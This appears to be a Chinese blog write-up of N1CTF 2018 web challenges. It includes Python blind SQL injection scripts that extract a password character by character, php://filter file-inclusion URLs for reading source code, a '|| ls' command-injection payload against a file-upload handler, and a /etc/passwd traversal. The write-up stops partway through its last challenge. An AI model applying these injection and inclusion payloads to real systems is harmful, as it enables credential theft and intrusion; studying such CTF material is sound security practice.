点击蓝字
关注我们
1
前记
N1CTF 2018是由国内知名战队Nu1L战队组织,由南京赛宁提供技术支持。正好假期空余,于是便来试了试,总的来说,题目难度较高,但是由于存在非预期,所以降低了一些困难性。
2
77777
拿到题目注意几个信息点:
容易发现我们需要的就是admin的password字段
所以容易构造payload:
flag=1111&hi= where (password like 0x25)
即
Update users set points =1111 where (password like 0x25)
此时发现
分数修改成功
再试
flag=2222&hi= where (password like 0xff)
发现
没有变化,于是可以写出脚本
import requestsimport stringimport urlliburl = "http://47.97.168.223/index.php"flag = ""true_flag = ""for i in range(1,1000): payload = flag for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_": data = { "flag":"233333", "hi":urllib.unquote(" where (password like 0x%s25)"%(payload+hex(ord(j))[2:])) } r =requests.post(url=url,data=data) if '233333' in r.content: flag += hex(ord(j))[2:] true_flag += j print true_flag data1 = { "flag": "1", "hi": " where 1" } s = requests.post(url=url,data=data1) break
得到flag:N1CTF{he3l3locat233}
算是一道web签到题吧,侥幸手速快,拿了一血233333
3
77777 2
上一题的翻版,like,部分数字等较多可用均被过滤,发现括号,+,>还在
于是想到构造运算
此时的username>”a“为true
Id= 1+true
即为2,那么此处的update也可以用相同的方法
注意url编码问题
于是可以写出脚本
import requestsimport urlliburl = "http://47.52.137.90:20000/index.php"flag = ""for i in range(1,1000): for j in range(33,127): payload = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j))) data = { "flag":"10", "hi":payload } r = requests.post(url=url,data=data) if "| 10" in r.content: tmp = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j-1))) tmp_data = { "flag": "10", "hi": tmp } s = requests.post(url=url,data=tmp_data) if "| 11" in s.content: flag += chr(j-1) print flag break
得到flag:N1CTF{HAHAH777A7AHA77777AAAA}
4
背景
进入题目后,点一下login……竟然就可以了= =这里有点坑
拿到url: http://47.52.152.93:20000/user.php?page=guest
发现可以文件包含,随即尝试读源码:
http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=index
得到:
继续读function文件
http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=function
得到(代码只给出部分)
继续读
http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=m4aaannngggeee
得到
去访问
http://47.52.152.93:20000/templates/upload2323233333.html
看到有上传,找到上传的后端:upllloadddd.php
接着读23333333
http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd
得到
可以清楚的看到:
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "";
这里可以命令注入,并且把内容打印出来
我们先本地测试一下
发现可以成功将ls的信息打印出来
于是构造:
jpg || ls 文件名
最后拿到flag: N1CTF{1d0ab6949bed0ecf014b087e7282c0da}
5
easy php
拿到url: http://47.97.221.96/index.php?action=login
发现可能存在文件包含
随手尝试
http://47.97.221.96/index.php?action=../../../../etc/passwd
发现可以读文件,于是尝试读取源码
但是各种尝试,均以失败告终
最后发现
http://47.97.221.96/index.php~
存在文件泄露
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录